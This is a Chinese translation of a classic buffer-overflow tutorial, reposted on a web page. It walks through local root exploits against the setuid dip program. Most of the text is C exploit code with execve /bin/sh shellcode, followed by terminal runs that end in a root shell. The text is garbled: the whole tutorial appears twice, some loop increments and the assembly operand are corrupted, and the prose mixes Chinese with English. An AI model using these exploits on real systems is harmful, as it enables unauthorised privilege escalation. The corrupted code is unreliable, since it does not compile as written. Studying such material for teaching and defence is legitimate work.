缓冲区溢出解密四
互联网 发布时间:2008-10-08 19:04:01 作者:佚名
我要评论
来自Aleph1的文章:
“可见这不是一个有效的过程。甚至在知道堆栈开始的位置时,试图猜测偏移地址几乎是不可能的。好的情况下我会需要上百次尝试,坏的情况下会要上千次。问题是我们需要*准确*的猜测出我们代码将开始的地址位置。如果我们偏了大概一个字
记得我们之前为了找到校正所作的吗?
#define BUF 130
#define NOP 0x90
#define ALIGN 1
你已经知道下面是我们的shell生成码:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
这个子程序返回堆栈指针的值。如我以前告诉你们的,这不是漏洞程序的ESP。它是我们漏洞利用程序的ESP,而我们利用这个值仅仅来知道内存中漏洞程序堆栈指针可能的位置。它仅仅是考虑到一个范围:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我们的main():arg[5]是为了execve(),buf[]是我们将供给漏洞缓冲区的。*ap(代表地址指针)是和buf[]的地址联系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
如果这个”漏洞利用者”输入一些值作为一个偏移量,我们从提示的esp中减去这个值,如果没有,我们使用0xbfffd779做为shellcode的地址。我在用gdb调试dip的时候发现了这个地址。它是一个预先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]); 我们让地址指针指向buf ALIGMENT的地址:
ap = (int *)(buf ALIGNMENT);
我们校正我们的缓冲区后,我们先放置返回地址到整个缓冲区:
for (i = 0 ; i < BUF; i = 4)
*ap = ret;
我们将一些NULL操作指令填到缓冲区的前半部:
for (i = 0; i < BUF / 2; i )
buf[i] = NOP;
在NOP后面,我们放置我们的shellcode:
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我们为execve()准备参数,如果你不明白这个去读execve的手册页:
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = NULL;
注意上面我提供buf给-l选项。
接着我们execve(),如果一个错误产生了,我们通过perror()得到这个错误:
execve(arg[0], arg, NULL);
perror(execve);
让我们执行:
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..
bash#
如果我们不知道确切的地址,我们需要猜测偏移量。让我们假设我们不知道这个地址:
让我们首先试以-400作为偏移量:
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Segmentation fault
[murat@victim murat]$
啊,让我们试-350:
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Illegal Instruction
[murat@victim murat]$
让我们进行另一个猜测:
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
ûÿ: No such file or directory
bash#
然而,如你所见,猜测正确偏移量是非常乏味的。
现在是环境变量方法:
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h> #define BUFSIZE 221
#define ALIGNMENT 1 char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip"); for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret; execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
让我来详细说明这个漏洞利用程序:
我们的main()。我们有一个字母指针数组。因为我们能计算环境指针的地址,我们把shellcode放到第一个环境变量的位置。
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE];
int i; Address pointer points to the aligned address of buffer:
int *ap = (int *)(buf ALIGNMENT);
我们计算我们shellcode的地址。关于我们如何计算地址的细节见上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
从缓冲区的第一个对齐的地址开始,我们放置shellcode的计算地址。我们以四为步长增加i,因为当我们以1为步长增加一个指针的时候,意味
着我们每次对其增加了4个字节。 for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
接着我们execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
因为不需要尝试和猜测,第一次我们就得到root!
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open
/var/lock/LCK..hÕÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ:
No such file or directory
bash#
因此,两个方法之间的基本不同之处能被列成:
项目 Aleph1的方法 环境变量方法
-------------------- --------------------- ------------------------ 漏洞缓冲区 一半缓冲区被NOP填充, 全部缓冲区用地址填充
接着是shellcode,然后
是地址
sc的放置 我们放置sc在漏洞缓冲 我们放置sc在传递给execve
区里 ()的环境指针里
sc的地址 我们试着猜测sc的地址 我们*知道*sc的地址 小缓冲区 如果sc在缓冲区中不 因为我们已经不把sc放在缓
合适,就很难利用漏洞 冲区,这个就无关紧要了。仅
如果你选择把sc放到 仅4个字节就够了!
环境指针里你将必
须猜测环境指针的
地址
Diffic. Level somewhat harder easier!
最后的文字和致谢
这篇文章原来实际上使用土耳其语写的。由于翻译成英语或者其它语言有很多要求,而且实际上环境变量方法仍然缺少文档,而我认为用英文准备一篇这样的文章是一个很好的主意,还有介绍一个更加易懂的shellcode等等,我就写了这篇文章。这里可能有一些模糊的地方或者甚至是一些需要改正的错误信息。如果你碰巧遇到额,给我email,我将改正它。先行致谢。 - Murat Balaban 致谢:a, matsuri, gargoyle
参考书目: ---------- 0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/) 1. "Smashing the Stack for Fun and Profit" by Aleph1 2.我在许多地方看到过这里我讨论的shellcode。我真的不知道谁第一个写的它所以如果你知道,请告诉我,这样我能在这里加上。
#define BUF 130
#define NOP 0x90
#define ALIGN 1
你已经知道下面是我们的shell生成码:
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
这个子程序返回堆栈指针的值。如我以前告诉你们的,这不是漏洞程序的ESP。它是我们漏洞利用程序的ESP,而我们利用这个值仅仅来知道内存中漏洞程序堆栈指针可能的位置。它仅仅是考虑到一个范围:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
我们的main():arg[5]是为了execve(),buf[]是我们将供给漏洞缓冲区的。*ap(代表地址指针)是和buf[]的地址联系在一起的。
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
如果这个”漏洞利用者”输入一些值作为一个偏移量,我们从提示的esp中减去这个值,如果没有,我们使用0xbfffd779做为shellcode的地址。我在用gdb调试dip的时候发现了这个地址。它是一个预先知道的值。
if (argc < 2)
ret = 0xbfffd779;
else
ret = getesp() - atoi(argv[1]); 我们让地址指针指向buf ALIGMENT的地址:
ap = (int *)(buf ALIGNMENT);
我们校正我们的缓冲区后,我们先放置返回地址到整个缓冲区:
for (i = 0 ; i < BUF; i = 4)
*ap = ret;
我们将一些NULL操作指令填到缓冲区的前半部:
for (i = 0; i < BUF / 2; i )
buf[i] = NOP;
在NOP后面,我们放置我们的shellcode:
for (n = 0; n < strlen(sc); n )
buf[i ] = sc[n];
我们为execve()准备参数,如果你不明白这个去读execve的手册页:
arg[0] = "/usr/sbin/dip";
arg[1] = "-k";
arg[2] = "-l";
arg[3] = buf;
arg[4] = NULL;
注意上面我提供buf给-l选项。
接着我们execve(),如果一个错误产生了,我们通过perror()得到这个错误:
execve(arg[0], arg, NULL);
perror(execve);
让我们执行:
[murat@victim murat]$ make xdip2
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..sh#
[murat@victim murat]$ make xdip2
make: `xdip2' is up to date.
[murat@victim murat]$ ./xdip2
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..
bash#
如果我们不知道确切的地址,我们需要猜测偏移量。让我们假设我们不知道这个地址:
让我们首先试以-400作为偏移量:
[murat@victim murat]$ ./xdip2 -400
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Segmentation fault
[murat@victim murat]$
啊,让我们试-350:
[murat@victim murat]$ ./xdip2 -350
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P ûÿ: No such file or directory
Illegal Instruction
[murat@victim murat]$
让我们进行另一个猜测:
[murat@victim murat]$ ./xdip2 -300
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open /var/lock/LCK..~P~P~P~P~P~P~P~P~P~P~~P~P~P~~P~P~P~P~
~P~P~P~P~P~P~P~P~P~P~P~P~P~~P~P~P~P~P
ûÿ: No such file or directory
bash#
然而,如你所见,猜测正确偏移量是非常乏味的。
现在是环境变量方法:
xdip.c :
#include <stdio.h>
#include <string.h>
#include <unistd.h> #define BUFSIZE 221
#define ALIGNMENT 1 char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; void main()
{
char *env[3] = {sc, NULL};
char buf[BUFSIZE];
int i;
int *ap = (int *)(buf ALIGNMENT);
int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip"); for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret; execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
}
让我来详细说明这个漏洞利用程序:
我们的main()。我们有一个字母指针数组。因为我们能计算环境指针的地址,我们把shellcode放到第一个环境变量的位置。
void main()
{
char *env[2] = {sc, NULL};
char buf[BUFSIZE];
int i; Address pointer points to the aligned address of buffer:
int *ap = (int *)(buf ALIGNMENT);
我们计算我们shellcode的地址。关于我们如何计算地址的细节见上面: int ret = 0xbffffffa - strlen(sc) - strlen("/usr/sbin/dip");
从缓冲区的第一个对齐的地址开始,我们放置shellcode的计算地址。我们以四为步长增加i,因为当我们以1为步长增加一个指针的时候,意味
着我们每次对其增加了4个字节。 for (i = 0; i < BUFSIZE - 4; i = 4)
*ap = ret;
接着我们execle()漏洞程序: execle("/usr/sbin/dip", "dip", "-k", "-l", buf, NULL, env);
因为不需要尝试和猜测,第一次我们就得到root!
[murat@victim murat]$ ./xdip
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation. DIP: cannot open
/var/lock/LCK..hÕÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õÿÿ¿Õÿ
ÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ¿Õÿÿ¿Õÿÿ¿Õ
ÿÿ:
No such file or directory
bash#
因此,两个方法之间的基本不同之处能被列成:
项目 Aleph1的方法 环境变量方法
-------------------- --------------------- ------------------------ 漏洞缓冲区 一半缓冲区被NOP填充, 全部缓冲区用地址填充
接着是shellcode,然后
是地址
sc的放置 我们放置sc在漏洞缓冲 我们放置sc在传递给execve
区里 ()的环境指针里
sc的地址 我们试着猜测sc的地址 我们*知道*sc的地址 小缓冲区 如果sc在缓冲区中不 因为我们已经不把sc放在缓
合适,就很难利用漏洞 冲区,这个就无关紧要了。仅
如果你选择把sc放到 仅4个字节就够了!
环境指针里你将必
须猜测环境指针的
地址
Diffic. Level somewhat harder easier!
最后的文字和致谢
这篇文章原来实际上使用土耳其语写的。由于翻译成英语或者其它语言有很多要求,而且实际上环境变量方法仍然缺少文档,而我认为用英文准备一篇这样的文章是一个很好的主意,还有介绍一个更加易懂的shellcode等等,我就写了这篇文章。这里可能有一些模糊的地方或者甚至是一些需要改正的错误信息。如果你碰巧遇到额,给我email,我将改正它。先行致谢。 - Murat Balaban 致谢:a, matsuri, gargoyle
参考书目: ---------- 0. PC Assembly Book by Paul A. Carter. (http://www.drpaulcarter.com/pcasm/) 1. "Smashing the Stack for Fun and Profit" by Aleph1 2.我在许多地方看到过这里我讨论的shellcode。我真的不知道谁第一个写的它所以如果你知道,请告诉我,这样我能在这里加上。
相关文章
- “CMOS密码”就是通常所说的“开机密码”,主要是为了防止别人使用自已的计算机,设置的一个屏障2023-08-01

QQScreenShot之逆向并提取QQ截图--OCR和其他功能
上一篇文章逆向并提取QQ截图没有提取OCR功能, 再次逆向我发现是可以本地调用QQ的OCR的,但翻译按钮确实没啥用, 于是Patch了翻译按钮事件, 改为了将截图用百度以图搜图搜索.2023-02-04
QQ截图是我用过的最好用的截图工具, 由于基本不在电脑上登QQ了, 于是就想将其提取出独立版目前除了屏幕录制功能其他都逆出来了, 在此分享一下2023-02-04
非系统分区使用BitLocker加密导致软件无法安装的解决方法
很多电脑用户在考虑自己电脑磁盘分区安全时会采用 Windows 自带的 BitLocker 加密工具对电脑磁盘分区进行加密。但有些人加密后就会忘记自己设置的密码从而导致在安装其它软2020-11-25
防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生
这篇文章为大家详细介绍了如何才能防止离职员工带走客户、防止内部员工泄密、避免华为员工泄密事件的发生,具有一定的参考价值,感兴趣的小伙伴们可以参考一下2017-06-27
彻底防止计算机泄密、重要涉密人员离职泄密、涉密人员离岗离职前防范举
近些年企业商业机密泄漏的事件屡有发生,这篇文章主要教大家如何彻底防止计算机泄密、重要涉密人员离职泄密、告诉大家涉密人员离岗离职前的防范举措,具有一定的参考价值,2017-06-27- 最近有电脑用户反应量子计算机可以破解下载的所有的加密算法吗?其实也不是不可以,下面虚拟就为大家讲解买台量子计算机,如何分分钟破解加密算法2016-09-26
怎么破解Webshell密码 Burpsuite破解Webshell密码图文教程
webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,一种网页后门。黑客通常会通过它控制别人网络服务器,那么怎么破解webshell密码呢?一起来看看吧2016-09-19- 本文讨论了针对Linux系统全盘加密的冷启动攻击,大家都认为这种攻击是可行的,但执行这么一次攻击有多难?攻击的可行性有多少呢?需要的朋友可以参考下2015-12-28
防止泄露公司机密、企业数据防泄密软件排名、电脑文件加密软件排行
面对日渐严重的内部泄密事件,我们如何守护企业的核心信息,如何防止内部泄密也就成了摆在各个企业领导面前的一大问题。其实,针对内网安全,防止内部信息泄漏早已有了比较2015-12-17







最新评论